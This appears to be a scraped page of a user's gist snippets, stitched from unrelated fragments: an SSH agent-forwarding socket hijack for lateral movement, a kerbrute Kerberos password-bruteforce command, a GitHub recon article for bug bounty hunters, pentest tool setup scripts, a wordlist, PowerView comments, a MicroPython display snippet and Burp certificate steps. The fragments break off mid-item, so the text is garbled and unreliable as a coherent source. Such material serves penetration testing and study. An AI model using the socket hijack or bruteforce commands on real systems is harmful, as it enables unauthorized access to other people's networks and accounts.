Michael Ikua ikuamike

Here's one of my favorite techniques for lateral movement: SSH agent forwarding. Use a UNIX-domain socket to advance your presence on the network. No need for passwords or keys.

root@bastion:~# find /tmp/ssh-* -type s
/tmp/ssh-srQ6Q5UpOL/agent.1460

root@bastion:~# SSH_AUTH_SOCK=/tmp/ssh-srQ6Q5UpOL/agent.1460 ssh [email protected]

user@internal:~$ hostname -f
internal.company.tld

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

GitHub for Bug Bounty Hunters

GitHub repositories can disclose all sorts of potentially valuable information for bug bounty hunters. The targets do not always have to be open source for there to be issues. Organization members and their open source projects can sometimes accidentally expose information that could be used against the target company. in this article I will give you a brief overview that should help you get started targeting GitHub repositories for vulnerabilities and for general recon.

Mass Cloning

You can just do your research on github.com, but I would suggest cloning all the target's repositories so that you can run your tests locally. I would highly recommend @mazen160's GitHubCloner. Just run the script and you should be good to go.

$ python githubcloner.py --org organization -o /tmp/output

	function dockershell() {
	docker run --rm -i -t --entrypoint=/bin/bash "$@"
	}

	function dockershellsh() {
	docker run --rm -i -t --entrypoint=/bin/sh "$@"
	}

	function dockershellhere() {
	dirname=${PWD##*/}

	#/bin/bash

	git clone https://github.com/danielmiessler/SecLists.git /opt/seclists

	git clone https://github.com/s0md3v/XSStrike.git /opt/xsstrike
	sudo ln -s /opt/xsstrike/xsstrike.py /usr/local/bin/xsstrike
	chmod +x /opt/xsstrike/xsstrike.py

	git clone https://github.com/s0md3v/Arjun.git /opt/arjun
	sudo ln -s /opt/arjun/arjun.py /usr/local/bin/arjun

	/
	$$$lang-translate.service.js.aspx
	$367-Million-Merger-Blocked.html
	$defaultnav
	${idfwbonavigation}.xml
	$_news.php
	$search2
	£º
	.0
	/0

	# Pull the SDD1306 lib from here https://github.com/adafruit/micropython-adafruit-ssd1306/blob/master/ssd1306.py
	from time import sleep_ms
	from machine import Pin, I2C
	from ssd1306 import SSD1306_I2C

	buf = "wubba lubba dub dub "

	i2c = I2C(-1, Pin(4),Pin(5),freq=40000) # Bitbanged I2C bus
	assert 60 in i2c.scan(), "No OLED display detected!"

	# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
	# tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c

	# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
	# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

	# New function naming schema:
	# Verbs:
	# Get : retrieve full raw data sets
	# Find : ‘find’ specific data entries in a data set

	#!/bin/bash

	echo ""
	echo "=========================================================================="
	echo "= Pentest Attack Machine Setup ="
	echo "= Based on the setup from The Hacker Playbook ="
	echo "=========================================================================="
	echo ""

	# Prepare tools folder

	To do so:

	1. Export your Burp Certificate
	Proxy > Options > CA Certificate > Export in DER format

	2. Convert it to PEM
	openssl x509 -inform der -in cacert.der -out burp.pem

	3. Download it on the device